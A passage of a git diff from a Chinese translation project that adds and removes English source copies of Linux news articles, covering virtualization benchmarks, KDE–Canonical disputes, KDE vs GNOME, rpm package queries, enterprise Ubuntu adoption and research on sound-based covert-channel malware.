+[5]:http://rpms.famillecollet.com/ +[6]:http://blog.famillecollet.com/pages/English-FAQ +[7]:http://blog.famillecollet.com/pages/Config-en \ No newline at end of file diff --git a/sources/Intel Haswell Linux Virtualization- KVM vs. Xen vs. VirtualBox.md b/sources/Intel Haswell Linux Virtualization- KVM vs. Xen vs. VirtualBox.md new file mode 100644 index 0000000000..460b837a13 --- /dev/null +++ b/sources/Intel Haswell Linux Virtualization- KVM vs. Xen vs. VirtualBox.md @@ -0,0 +1,77 @@ +Intel Haswell Linux Virtualization: KVM vs. Xen vs. VirtualBox +============================================================== + +The latest chapter to our lengthy [Intel Haswell][1] on [Linux saga][2] is virtualization benchmarks. From Fedora 19 with the very latest software components for Linux virtualization, the performance of KVM, Xen, and VirtualBox were benchmarked from the Intel Core i7 4770K "Haswell" CPU. + +Since last month's Haswell launch we have published many benchmarks of the new Intel CPUs but not being covered at Phoronix until today is the Linux virtualization performance for Haswell. With Intel hardware virtualization enabled, KVM, Xen, and VirtualBox were compared from a clean Fedora 19 64-bit installation. + +Fedora 19 presently has the Linux 3.9.8 kernel with GCC 4.8.1, Mesa 9.2.0-devel, and an EXT4 file-system. All of the virtualization components were obtained from the Fedora 19 repository, including QEMU 1.4.2, Xen 4.2.2, and the libvirt / virt-manager components. Xen and KVM virtualization were setup through virt-manager. VirtualBox 4.2.16 was obtained from VirtualBox.org and installed on Fedora 19. + +![](http://www.phoronix.net/image.php?id=intel_haswell_virtualization&image=intel_haswell_virtualization_med) + +The Intel Core i7 4770K system had 16GB of RAM and a 240GB OCZ Vertex 3 SSD. During testing, each VM had access to all eight logical cores (four physical cores + Hyper Threading), access to 12GB of the system's 16GB of RAM, and a 16GB virtual disk. + +The KVM, Xen, and VirtualBox performance from Fedora 19 Linux 3.9 with the Intel Core i7 "Haswell" processor were also compared to the "bare metal" results when the benchmarks were running on the host without any form of virtualization or other means of abstraction. VMware's products weren't benchmarked in this article since their EULA restricts public benchmarking (though VMware has been okay with us running such benchmarks in the past) and their trial software being limited to running on four CPU cores, but a separate article will look at the Xen/KVM/VMware performance on other hardware in the future. + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=9083341&p=2) + +All of this Linux virtualization benchmarking was handled in a fully automated and reproducible manner using the open-source [Phoronix Test Suite][3] software and hosting by [OpenBenchmarking.org][4]. With using a virtual disk and with Xen/KVM not having a reliable means of shared 3D access to the host's driver/GPU, most of the benchmarks within this article are computational focused to look at the performance overhead for the different Linux virtualization methods. + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=16f6601&p=2) + +Disk benchmarking wasn't a main focus of this virtualization testing since only a virtual disk was being used on the host's file-system. However, when comparing these three Linux virtualization methods against the bare metal results, KVM on the Linux 3.9 kernel was performing the best followed by Xen. Oracle's VirtualBox was running just 66% the speed of the host's PostMark mail server performance while KVM was at 96% the performance and Xen at 83% the host's speed. + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=ee1f01f&p=2) + +For the Dolfyn Computational Fluid Dynamics workload, there aren’t any major changes in performance against the bare metal results when running on KVM or Xen. However, VirtualBox is noticeably slower. + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=1a54755&p=2) + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=b3c948c&p=2) + + +The FFTE and HMMer results were similar to Dolfyn where Xen and KVM were leading to great performance results with very little overhead, but Oracle VM VirtualBox was much slower. + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=78137b2&p=2) + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=0a735b7&p=2) + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=8d2ce17&p=2) + +John The Ripper was crashing when being run under VirtualBox. + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=6bd26cc&p=2) + +Xen virtualization on the Linux 3.9 kernel with Fedora 19 strikes its first performance win when running the TTSIOD renderer. + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=4a440fd&p=2) + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=79113d7&p=2) + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=505359a&p=2) + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=1593a32&p=2) + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=0f84676&p=2) + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=3cde78a&p=2) + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=fc3d96e&p=2) + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=3e91cb0&p=2) + +Overall, Xen and KVM virtualization worked out great on Fedora 19 in conjunction with the Intel Core i7 4770K CPU. The performance overhead of these virtualization methods were minimal on the Haswell processor. While Xen and KVM were running great on the new Intel CPU, Oracle's VirtualBox (the latest release, v4.2.16) was much slower than Xen and KVM. The benefit VirtualBox has though is means of guest 3D acceleration, which will be benchmarked again in a future Phoronix article. Also to be benchmarked soon on Phoronix will be the relative overhead of the different virtualization methods when comparing Haswell to previous generations of Intel processors as well as AMD's competition. + +-------------------------------------------------------------------------------- + +via: http://www.phoronix.com/scan.php?page=article&item=intel_haswell_virtualization + +译者:[译者ID](http://blog.csdn.net/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.phoronix.com/scan.php?page=search&q=Haswell +[2]:http://www.phoronix.com/scan.php?page=news_item&px=MTM5MzU +[3]:http://www.phoronix-test-suite.com/ +[4]:http://openbenchmarking.org/ + diff --git a/sources/Interview with Ding Zhou of Ubuntu Tweak.md b/sources/Interview with Ding Zhou of Ubuntu Tweak.md index 43482ee85b..4e6caf2579 100644 --- a/sources/Interview with Ding Zhou of Ubuntu Tweak.md +++ b/sources/Interview with Ding Zhou of Ubuntu Tweak.md @@ -1,4 +1,8 @@ +<<<<<<< HEAD 专访Ubuntu Tweak的作者周鼎 +======= +Interview with Ding Zhou of Ubuntu Tweak +>>>>>>> faa2ec23f5c4c34f9c618978025f401834a1cc2f ================================================================================ [Ubuntu tweak][1]是一款知名度很高的应用程序软件,Ubuntu用户可以用它来调整系统的性能、功能等各个细节。项目的创始人,周鼎又名Tualatrix Chou,正与我们分享Ubuntu Tweak的特性、使用感觉以及它跟Canonical的关系,并且勾勒了项目的未来计划蓝图。享受吧! @@ -88,6 +92,6 @@ via: http://www.unixmen.com/interview-with-ding-zhou-of-ubuntu-tweak/ 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 -译者:[runningwater](https://github.com/runningwater) 校对:[校对者ID](https://github.com/校对者ID) +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) [1]:http://ubuntu-tweak.com/ \ No newline at end of file diff --git a/sources/KDE and Canonical Conflict Over Mir Finally Bursts into Open.md b/sources/KDE and Canonical Conflict Over Mir Finally Bursts into Open.md deleted file mode 100644 index ce813446a8..0000000000 --- a/sources/KDE and Canonical Conflict Over Mir Finally Bursts into Open.md +++ /dev/null @@ -1,33 +0,0 @@ -KDE and Canonical Conflict Over Mir Finally Bursts into Open -================================================================================ -The conflict that has been brewing between the KDE developers and Canonical has finally exploded in a flurry of statements which show just how many problems the Mir display server has caused. - -KDE and Canonical, especially Mark Shuttleworth, have been friends for a long time. Once upon a time, back in 2006, Mark Shuttleworth was the first patron of KDE and people were uttering things like this: - -“I have no doubt that you will do the right thing once you actually see the true potential that KDE4 could bring. You are a true visionary. The world needs more people like you,” said one of the members of the KDE community. - -Seven years later, Canonical announces a new displayer server and everything that KDE, Kubuntu, and Canonical communities have built together goes out the window. - -The war of declarations has culminated with [a post written by Mark Shuttleworth][1] in which he grouped all the people that have been criticizing the Mir display server, on purely political reasons in his opinion, into a virtual “Tea Party”. A lot of people took offense, especially a couple of prolific KDE developers who opposed Mir straight from the get-go. - -KDE Plasma developers and president of KDE e.v, Aaron Seigo, challenged Mark Shuttleworth to a debate regarding the issue. [The founder of Canonical has ignored][2] his request, which prompted a second reaction which turned out to be a lot more acid that the first comments. - -The second reaction came from one of the Kwin developers and maintainers, Martin Gräßlin, which has basically [said goodbye to the Ubuntu community][3]. The reactions to his Google+ post have been mixed and it promoted a reaction from the Ubuntu community manager, Jono Bacon. - -“Open Source has been and will always be filled with very energetic discussion. In some cases this discussion blurs into the area of rudeness and disrespect. The difficulty is that everyone's definition of what is rude and disrespectful is different. Likewise, everyone's definition of good and bad conduct is different,” said Jono Bacon in his post. - -He expressed his regret towards the decision of Martin Gräßlin, but he also pointed out the Ubuntu Code of Conduct 2.0, which has been broken so many times it's hard to keep count. - -As it stands right now, KDE will never adopt Mir, Kubuntu will probably follow suite, and the days of this Ubuntu flavor are probably numbered. - --------------------------------------------------------------------------------- - -via: http://news.softpedia.com/news/KDE-and-Canonical-Conflict-Over-Mir-Finally-Bursts-into-Open-396651.shtml - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://news.softpedia.com/news/Mark-Shuttleworth-Says-That-Mir-Opponents-Have-Formed-the-Open-Source-Tea-Party-392793.shtml -[2]:http://news.softpedia.com/news/KDE-Developer-and-President-of-KDE-e-v-Upset-Because-Mark-Shuttleworth-Is-Ignoring-Him-396623.shtml -[3]:http://news.softpedia.com/news/Major-KDE-Developer-Says-Goodbye-to-Ubuntu-396429.shtml \ No newline at end of file diff --git a/sources/KDE vs GNOME- Settings, Apps, Widgets.md b/sources/KDE vs GNOME- Settings, Apps, Widgets.md deleted file mode 100644 index 54f407d5a9..0000000000 --- a/sources/KDE vs GNOME- Settings, Apps, Widgets.md +++ /dev/null @@ -1,114 +0,0 @@ -(translating by flyingwitholdlady) -KDE vs GNOME: Settings, Apps, Widgets -===================================== - -When it comes to desktop environments, choosing the one that's right for you can be a deeply personal matter. In this article, I'll look into the differences between two of the most popular Linux desktop environments – Gnome and KDE. I’ll explore what each desktop environment offers, comparing their strengths and weaknesses. - -###Initial impressions - -Upon first encountering the desktop, one can argue that KDE looks more polished than Gnome, and offers a more tech-friendly appearance. Additionally, if you are used to a Windows environment, KDE will feel much more familiar, thanks to the menu and button layout at the bottom of your screen. You can easily locate the K menu, launch programs and find documents with just a few clicks of your mouse. - -Another important and familiar benefit with KDE is the easy to use minimize and close buttons with each open document, picture or application. To someone coming from another platform, features this basic might be taken for granted. But considering desktops like Gnome don't offer a true minimize option any longer, it's worth giving KDE props here. - -Loading up Gnome 3 for the first time, the desktop might be perceived as a very alien experience if you're coming from another platform. Like classic Gnome, your access to docs and tools are not located at the bottom of your screen. Even stranger for some newbies, the method for closing open windows is – to be kind – "different." In defense of Gnome 3, however, I've found it to be quite a pleasant experience once you get used to this new way of doing things. And the new users I know who have tested Gnome 3 generally felt the same way. - -###Widgets and extensions - -The divide between the two desktop environments continues to broaden as we dive into the extensions and widgets provided for Gnome and KDE. While both desktops provide additions you can run to further enhance your desktop experience, the lines between them become different in how the desktops handle extended functionality. - -KDE takes an interesting approach in that you can group widgets into what are called "Activities." The idea is you can have one Activity with a set number of desktop widgets, that help with specific work-flows. - -By contrast, Gnome defines activities with a different approach. Instead of being widget-centric, Gnome makes its Activities more task- and application-based. For example, if I was using multiple apps, switching to the Gnome Activities overview allows you to gain a visualization and immediate access to each task. - -###Settings for your desktop - -While Gnome has gotten better about providing adequate settings controls from a GUI, KDE remains the reigning king in this space. - -With KDE, you can find settings to control nearly every aspect of your desktop experience. Some Linux distributions, such as [OpenSUSE][1], go ever further by tightly integrating their own tools ([YaST][2]) into the KDE settings experience. - -With the updates to the Gnome desktop since Gnome 3, I've found the biggest areas where I see KDE offering greater functionality is with ease of access to settings. Gnome tends to put application specific settings into an easy to find area of each application. - -But KDE tends to offer greater granular control with their applications. One of my favorite examples is [Kontact][3] vs [Evolution][4]. Both are powerful PIMs for Gnome and KDE. But the difference is that Kontact is a suite of applications bundled with a suite of controls for each app, while Evolution is a single application with limited control. The same can be said of [AmaroK][5] vs [Rhythmbox][6], among other desktop-specific titles. - -###File management - -When it comes to finding the right file manager for your desktop, both Gnome and KDE do the work for you by providing their own defaults. [Nautilus][7] is the default file manager for Gnome where KDE, offers up [Dolphin][8] as its main offering. - -When it comes to desktop environments, choosing the one that's right for you can be a deeply personal matter. In this article, I'll look into the differences between two of the most popular Linux desktop environments – Gnome and KDE. I’ll explore what each desktop environment offers, comparing their strengths and weaknesses. - -###Initial impressions - -Upon first encountering the desktop, one can argue that KDE looks more polished than Gnome, and offers a more tech-friendly appearance. Additionally, if you are used to a Windows environment, KDE will feel much more familiar, thanks to the menu and button layout at the bottom of your screen. You can easily locate the K menu, launch programs and find documents with just a few clicks of your mouse. - -Another important and familiar benefit with KDE is the easy to use minimize and close buttons with each open document, picture or application. To someone coming from another platform, features this basic might be taken for granted. But considering desktops like Gnome don't offer a true minimize option any longer, it's worth giving KDE props here. - -Loading up Gnome 3 for the first time, the desktop might be perceived as a very alien experience if you're coming from another platform. Like classic Gnome, your access to docs and tools are not located at the bottom of your screen. Even stranger for some newbies, the method for closing open windows is – to be kind – "different." In defense of Gnome 3, however, I've found it to be quite a pleasant experience once you get used to this new way of doing things. And the new users I know who have tested Gnome 3 generally felt the same way. - -Widgets and extensions - -The divide between the two desktop environments continues to broaden as we dive into the extensions and widgets provided for Gnome and KDE. While both desktops provide additions you can run to further enhance your desktop experience, the lines between them become different in how the desktops handle extended functionality. - -KDE takes an interesting approach in that you can group widgets into what are called "Activities." The idea is you can have one Activity with a set number of desktop widgets, that help with specific work-flows. - -By contrast, Gnome defines activities with a different approach. Instead of being widget-centric, Gnome makes its Activities more task- and application-based. For example, if I was using multiple apps, switching to the Gnome Activities overview allows you to gain a visualization and immediate access to each task. - -Settings for your desktop - -While Gnome has gotten better about providing adequate settings controls from a GUI, KDE remains the reigning king in this space. - -With KDE, you can find settings to control nearly every aspect of your desktop experience. Some Linux distributions, such as OpenSUSE, go ever further by tightly integrating their own tools (YaST) into the KDE settings experience. - -With the updates to the Gnome desktop since Gnome 3, I've found the biggest areas where I see KDE offering greater functionality is with ease of access to settings. Gnome tends to put application specific settings into an easy to find area of each application. - -But KDE tends to offer greater granular control with their applications. One of my favorite examples is Kontact vs Evolution. Both are powerful PIMs for Gnome and KDE. But the difference is that Kontact is a suite of applications bundled with a suite of controls for each app, while Evolution is a single application with limited control. The same can be said of AmaroK vs Rhythmbox, among other desktop-specific titles. - -File management - -When it comes to finding the right file manager for your desktop, both Gnome and KDE do the work for you by providing their own defaults. Nautilus is the default file manager for Gnome where KDE, offers up Dolphin as its main offering. - -Out of the box, I've found Nautilus offers Gnome users a polished, easy to use file management tool that won't overwhelm new Linux users. Flashing over to KDE, however, Dolphin is a highly configurable and not newbie friendly file management solution for those who want tons of control. - -Simply looking at the sidebar for each file manager, you'll notice that Nautilus offers up the most straight forward approach to navigation. KDE's Dolphin, however, goes further with features like dates for files last used, and other related options. - -If you're an advanced Linux user, you'll likely find yourself gravitating to Dolphin as it offers the most options and control. For those of us who simply want to navigate files without tons of "stuff", Nautilus wins in terms of simplicity. - -###Desktop applications - -One area that causes some disagreement among Linux enthusiasts is the claim that one desktop offers better default applications than the other. That said, this is certainly the case with Gnome vs KDE. - -My findings in this area are that in many areas, Gnome wins without even trying that hard. For example: GIMP, Evince, and Pidgin are all applications that are simply less of a headache to rely on than their KDE counterparts. Kmail is another app that, in my opinion, gives new KDE users a bad taste in their mouths. Apps like this are overly complex and in general, abysmal to use. - -On the flip side, there are some worthwhile exceptions in favor of KDE. [Calligra][9] vs [AbiWord][10] is an easy win for KDE, since [LibreOffice][11] isn't "truly" a Gnome specific option. Just because it's often the default suite for many Linux distributions doesn't make it the desktop environment default. - -In the end, one of the wonders of Linux is that you can install GTK or Qt libraries and enjoy the benefits of the apps that best meet with your needs. For myself, I've found the Gnome application defaults to be the clear winner in most instances. - -Final thoughts - -If I ever found myself trapped on an island with only one desktop environment made available to me, it'd have to be Gnome. Even though I enjoy some aspects of KDE more than Gnome, overall I find Gnome is less work to keep up. Too often I’ve found KDE experiencing a messed up configuration or, worse: weird alerts claiming my sound card has disappeared. Under Gnome, I experience none of these problems. - -Because I value my time and my sanity, I'll continue to recommend Gnome over KDE; while suggesting some KDE apps when appropriate. To anyone who claims that KDE is easier to use – I'd like to point out that for me, simply learning Gnome's approach to doing things has offered me greater stability in the long run. - -Photo courtesy of [Shutterstock][12]. - ---- - -via: http://www.datamation.com/open-source/kde-vs-gnome-settings-apps-widgets-2.html - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - - -[1]:http://www.opensuse.org/en/ -[2]:http://en.opensuse.org/YaST_Software_Management -[3]:http://userbase.kde.org/Kontact -[4]:https://projects.gnome.org/evolution/ -[5]:http://amarok.kde.org/ -[6]:https://projects.gnome.org/rhythmbox/ -[7]:http://en.wikipedia.org/wiki/Nautilus_%28file_manager%29 -[8]:http://en.wikipedia.org/wiki/Dolphin_%28file_manager%29 -[9]:http://www.calligra-suite.org/ -[10]:http://www.abisource.com/ -[11]:http://www.libreoffice.org/ -[12]:http://www.shutterstock.com/pic-137314787/stock-photo-information-concept-golden-gears-on-digital-background-d-render.html - diff --git a/sources/Linux Commands/Options in Linux RPM Command to Query Packages.md b/sources/Linux Commands/Options in Linux RPM Command to Query Packages.md deleted file mode 100644 index 5e2dce7c30..0000000000 --- a/sources/Linux Commands/Options in Linux RPM Command to Query Packages.md +++ /dev/null @@ -1,108 +0,0 @@ -Options in Linux RPM Command to Query Packages -================================================================================ -RPM is RedHat Package Manager, used to install/remove/update and query the packages in Red Hat based linux. RHEL and the systems based on it uses rpm command to do that. The following example demonstrates the use of rpm query feature and shows different ways you can query rpm database and restore configuration file. - -I have included the SSH package to in the example commands. - -### Query RPM Database and Packages ### - -**1、 To query the whole RPM database, use the following command.** - - # rpm -qa - plymouth-0.8.3-27.el6.x86_64 - pciutils-libs-3.1.10-2.el6.i686 - netcf-libs-0.1.9-3.el6.x86_64 - .. - … - .. - Output Truncated - -**2、 You can identify the package from which SSH is installed by using grep on the above example.** - - # rpm -qa |grep ssh - libssh2-1.4.2-1.el6.x86_64 - openssh-askpass-5.3p1-84.1.el6.x86_64 - libssh2-1.4.2-1.el6.i686 - openssh-server-5.3p1-84.1.el6.x86_64 - openssh-clients-5.3p1-84.1.el6.x86_64 - openssh-5.3p1-84.1.el6.x86_64 - -The output shows other packages related to ssh but you have to still identify that which package is actually installing SSH. To further break it down see the next example. - -**3、 Check the installed package of SSH a) from sshd daemon b) from it’s configuration file.** - - # rpm -qf /etc/init.d/sshd - openssh-server-5.3p1-84.1.el6.x86_64 - # rpm -qf /etc/ssh/sshd_config - openssh-server-5.3p1-84.1.el6.x86_64 - -As you can see the ssh is installed from the openssh-server-5.3p1-84.1.el6.x86_64 package. You can use rpm -qf command both on daemon and a configuration file. Both will output the package it is installed from. - -**4、 Now that you have the package name, you may want to explore more on it and want to know what are the various files this package contains. For that use rpm -ql command.** - - # rpm -ql openssh-server-5.3p1-84.1.el6.x86_64 - /etc/pam.d/ssh-keycat - /etc/pam.d/sshd - /etc/rc.d/init.d/sshd - /etc/ssh/sshd_config - /etc/sysconfig/sshd - /usr/libexec/openssh/sftp-server - /usr/libexec/openssh/ssh-keycat - /usr/sbin/.sshd.hmac - /usr/sbin/sshd - /usr/share/doc/openssh-server-5.3p1 - /usr/share/doc/openssh-server-5.3p1/HOWTO.ssh-keycat - /usr/share/man/man5/moduli.5.gz - /usr/share/man/man5/sshd_config.5.gz - /usr/share/man/man8/sftp-server.8.gz - /usr/share/man/man8/sshd.8.gz - /var/empty/sshd - -he above output is showing all the files that this package installed on the system. Now let’s even break it down and we only want to see the configuration files and document files supplied with this package. - -**5、 To list only the configuration files use the rpm -qc command.** - - # rpm -qc openssh-server-5.3p1-84.1.el6.x86_64 - /etc/pam.d/ssh-keycat - /etc/pam.d/sshd - /etc/ssh/sshd_config - /etc/sysconfig/sshd - -**6、 To list only documentation files use rpm -qd command** - - # rpm -qd openssh-server-5.3p1-84.1.el6.x86_64 - /usr/share/doc/openssh-server-5.3p1/HOWTO.ssh-keycat - /usr/share/man/man5/moduli.5.gz - /usr/share/man/man5/sshd_config.5.gz - /usr/share/man/man8/sftp-server.8.gz - /usr/share/man/man8/sshd.8.gz - -Consider a situation in which you want to configure a service, but you don’t know where to find the configuration files. As an example, Consider the above example: Use **rpm -qf rpm -qf /etc/init.d/sshd** to find out from what package the **/etc/ssh/sshd_config** file originated. It should show you the **openssh-server-5.3p1-84.1.el6.x86_64** package. Use **rpm -ql openssh-server-5.3p1-84.1.el6.x86_64** to show a list of all the files in this package. As you can see, the names of many files are displayed, but the output is not very useful. - -Now use **rpm -qc openssh-server-5.3p1-84.1.el6.x86_64** to show just the configuration files used by this package. This shows a list of four files only and gives you the absolute path of [/etc/ssh/sshd_config file][1] to start configuring the service. - -**7、 Restore configuration file from RPM Package, without reinstalling a package.** - -If for some reason a file has been damaged or got deleted from system, you can start with the **rpm -qf** query option to find out from what package the file originated. Next use **rpm2cpio | cpio -idmv** to extract the files from the package. Consider the ssh example: - -Assuming that the **/etc/ssh/sshd_config** file has been deleted and you may not want to reinstall ssh, Restore the file using the steps below. - - * Use rpm -qf /etc/init.d/sshd This command shows that the file comes from the openssh-server-5.3p1-84.1.el6.x86_64 Package. - - * Download the Openssh rpm from it’s source - - * Copy openssh-server-5.3p1-84.1.el6.x86_64 package file to /tmp directory or any other directory of your choice. - - * Use rpm2cpio |cpio -idmv to extract the package. - -The command you used in the above step created a few subdirectories in /tmp. You can now copy it to its original location. - --------------------------------------------------------------------------------- - -via: http://linoxide.com/linux-command/rpm-command-query/ - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.linoxide.com/how-tos/disable-ssh-direct-login/ \ No newline at end of file diff --git a/sources/Linux Desktop In The Enterprise--Ubuntu Vs. Windows.md b/sources/Linux Desktop In The Enterprise--Ubuntu Vs. Windows.md deleted file mode 100644 index be3fee7204..0000000000 --- a/sources/Linux Desktop In The Enterprise--Ubuntu Vs. Windows.md +++ /dev/null @@ -1,39 +0,0 @@ -Translating by l3b2w1 -Linux Desktop In The Enterprise: Ubuntu Vs. Windows -================================================================================ -The "year of the Linux desktop" has been prophesied by Linux supporters almost every year for the last decade. This was once a lofty goal in the Microsoft-dominated enterprise, but times are changing. Linux has grown into a formidable competitor in the smartphone and cloud computing markets, which has caught Microsoft off guard. More importantly, Google, IBM, Red Hat, Facebook, and Netflix have made huge investments into Linux innovations. - -Now, with shrinking technology budgets and rising Microsoft licensing fees, it's time for IT to seriously consider desktop Linux deployment as an alternative to Windows. The timing for this couldn't be better: Windows 8.1 was just released, as was the latest version of Ubuntu, 13.10. Windows XP has just five months of support left, so companies need to make the switch to something new. Ubuntu may just have what companies need to support their desktop OS needs. I'll look at various considerations for making the Linux desktop switch, including training and support, as well as potential complications. - -I know that Ubuntu has lost some of the favor it once enjoyed in the open source community. Canonical, the creators of Ubuntu, have made some unpopular choices, including changing the display manager -- the base component of the graphical interface in Linux-- to the internally developed Mir instead of Wayland. However, Ubuntu remains completely open source and offers the most painless install of any Linux distribution or even Windows version, for that matter. Canonical also offers paid support, which may be needed in enterprise environments. - -There has always been the argument that end users will need retraining if they switch over to a new desktop interface. Microsoft's controversial decision to overhaul the familiar interface for Windows 8.1 now requires just as much training as switching to Linux. Ubuntu's Unity desktop has evolved into a user friendly interface that is arguably more easily understood by end users than Windows 8.1. - -For example, compare how a user shuts down the system in each operating system. In all recent versions of Ubuntu, it starts with one click in the right corner of the screen, where the symbol for on-off is located. A menu drops down and one more click shuts down the machine. Windows 8.1 requires a right-click on the Start button, where a menu drops down allowing for a shutdown. This was a vast improvement over Windows 8, which required a trip to the charms bar, but still not as obvious as an icon located directly on the screen. - -End-user training for applications is a less complex task nowadays, thanks to the Windows versions of many popular open source applications. Users may already be familiar with Firefox, LibreOffice, Pidgin, and VLC Media Player on Windows. Commercial applications used in business, such as Skype and Adobe Acrobat, function just like their Windows equivalents. Cloud-based applications such as Google Drive or Microsoft Office 365 work well on Ubuntu. - -Legacy Windows applications can be accessed through the familiar Citrix client or open source RDP clients. Companies also can use open source virtualization products such as VirtualBox to run the most stubborn legacy Windows applications. - -On the support front, many technicians will remember the earlier days of Linux when hardware support was extremely limited. That simply is not the case anymore. - -Linux hardware support is oftentimes better than the latest versions of Windows. Many hardware vendors have been dropping driver support for newer versions of Windows. The open source drivers in Linux can be kept up to date by anyone in the developer community, so a lot of older hardware is fully supported in the latest versions of Ubuntu. This fact, plus Ubuntu's lower system requirements, will allow companies to extend the life of hardware once destined for the recycling bin. - -While there are upsides to a Linux desktop replacement program, there are some potential difficulties companies should consider. While many technicians have already been using Linux or will be motivated by the prospect of learning new skills, there also will be technicians who have spent a lot of time developing a comfort level managing Windows and may be reluctant to embrace the change. - -Citing salary trends is one way to address this potential issue. The salaries of positions with Linux skills requirements are rising at nearly double the rate of other technical professionals, according to Dice. - -Companies under stringent compliance requirements may have difficulties switching over to Linux. For example, HIPAA requires encryption that meets FIPS-140-2 requirements. Most open source encryption projects do not have sponsors to get them through the NIST certification to meet this requirement. Open source may actually be more secure than proprietary software because of the number of people that have reviewed the source code, but surprisingly that doesn't matter in the world of compliance. - -Businesses need to understand their compliance requirements and develop a plan for training IT staff before deciding to move forward with a full conversion. But overall, Ubuntu Linux has matured into a viable alternative to proprietary operating systems in the enterprise. The effort companies put into a Linux desktop replacement program will be worth the savings in licensing fees. Next year may finally be the “year of the Linux desktop.” - - -> Joseph Granneman has more than 20 years of technology experience, primarily focused in health care information technology. He is CIO for Rockford Orthopedic Associates in Rockford, Ill., and an active independent author, presenter and professor in the health care information technology and information security fields. Granneman has been active in many standards groups, including developing the early frameworks for Health Information Exchange as part of the Health Information Security and Privacy Security Working Group for Illinois. He was also a volunteer for the Certification Commission for Health Information Technology (CCHIT) Security Working Group, which developed the information security standards for ARRA certification of electronic medical records. - --------------------------------------------------------------------------------- - -via: http://www.networkcomputing.com/data-networking-management/linux-desktop-in-the-enterprise-ubuntu-v/240163564 - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/sources/Linux Is the Only Way to Protect Against Potential Sound-Transmitted Malware.md b/sources/Linux Is the Only Way to Protect Against Potential Sound-Transmitted Malware.md new file mode 100644 index 0000000000..4c42ee0950 --- /dev/null +++ b/sources/Linux Is the Only Way to Protect Against Potential Sound-Transmitted Malware.md @@ -0,0 +1,29 @@ +Linux Is the Only Way to Protect Against Potential Sound-Transmitted Malware +================================================================================ +**A new type of malware that is using sound to transmit itself has been developed by scientists and it seems that the Linux systems are the only ones that can be protected against this kind of attacks.** + +Scientists Michael Hanspach and Michael Goetz from Fraunhofer FKIE, Wachtberg, Germany, have developed a technique capable of infecting other computers with malware that transmits itself using just speakers and microphones. + +“Covert channels can be used to circumvent system and network policies by establishing communications that have not been considered in the design of the computing system. We construct a covert channel between different computing systems that utilizes audio modulation/demodulation to exchange data between the computing systems over the air medium,” [reads the paper][1] that they published in the Journal of Communications. + +This would prove a very powerful method of infecting computers, especially because they don't even have to be linked in a network. All that is needed for the method to work is proximity. + +Another problem is that there is virtually no protection embedded in today's operating systems for such malware. The good news is that Linux users can make a few small modifications in order to gain that much needed protection. + +The developers have explained that Linux systems can be programed, rather easily, to adapt to this new form of attacks. + +“If audio input and output devices cannot be switched off, implementation of audio filtering options may be an alternative approach to counter maliciously triggered participation in covert networks. “ + +“In Linux-based operating systems, a software-defined audio filter can be implemented with ALSA (Advanced Linux Sound Architecture) in conjunction with the LADSPA (Linux Audio Developer’s Simple Plugin API),” the scientists say in the paper. + +Sound-transmitted malware is something very new and it's no wonder that there is no protection against it, but it goes to show why Linux systems are considered safer. + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Linux-Is-the-Only-Way-to-Protect-Against-Possible-Malware-Through-Sound-Attacks-405566.shtml + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.jocm.us/index.php?m=content&c=index&a=show&catid=124&id=600 \ No newline at end of file diff --git a/sources/Linux Mint Respond to Ubuntu Developer’s ‘Vulnerable’ Claim.md b/sources/Linux Mint Respond to Ubuntu Developer’s ‘Vulnerable’ Claim.md new file mode 100644 index 0000000000..61be2da1cb --- /dev/null +++ b/sources/Linux Mint Respond to Ubuntu Developer’s ‘Vulnerable’ Claim.md @@ -0,0 +1,45 @@ +Linux Mint Respond to Ubuntu Developer’s ‘Vulnerable’ Claim +================================================================================ +**It’s never a particularly tasty task having to write a news article on something that you know is going to cause headache and upset in the wider 